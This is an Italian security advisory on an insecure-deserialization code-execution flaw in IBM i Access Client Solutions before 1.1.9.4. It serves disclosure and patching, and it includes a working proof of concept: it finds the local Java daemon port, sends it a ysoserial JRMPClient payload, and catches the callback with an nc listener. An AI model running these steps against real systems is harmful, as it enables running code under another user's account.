
IBM i Access Client Solutions < 1.1.9.4 - Esecuzione di codice in remoto tramite deserializzazione non sicura
IBM i Access Client Solutions < 1.1.9.4 - Esecuzione di codice remoto tramite deserializzazione non sicura.
IBM i Access Client Solutions utilizza una deserializzazione non sicura per l'archiviazione delle password e per ottenere la chiave di decrittazione per la crittografia delle password. Ciò potrebbe essere sfruttato da un attaccante locale o remoto per eseguire codice.
Il server locale può essere facilmente individuato utilizzando il comando `netstat':
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
Possiamo confermare i dettagli su questo server locale utilizzando il comando ps:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
Possiamo ottenere l'esecuzione di codice come utente mmajchrowicz utilizzando il payload ysoserial dall'account mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307
Nel secondo terminale riceveremo la connessione dopo l'esecuzione del payload da parte del servizio:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$
Questo problema è stato causato da una deserializzazione non sicura dei pacchetti di rete e dei dati utente. Il problema è risolto in IBM i Access Client Solutions 1.1.9.4.
< 1.1.9.4
Aggiornare IBM i Access Client Solutions alla versione 1.1.9.4 o successiva.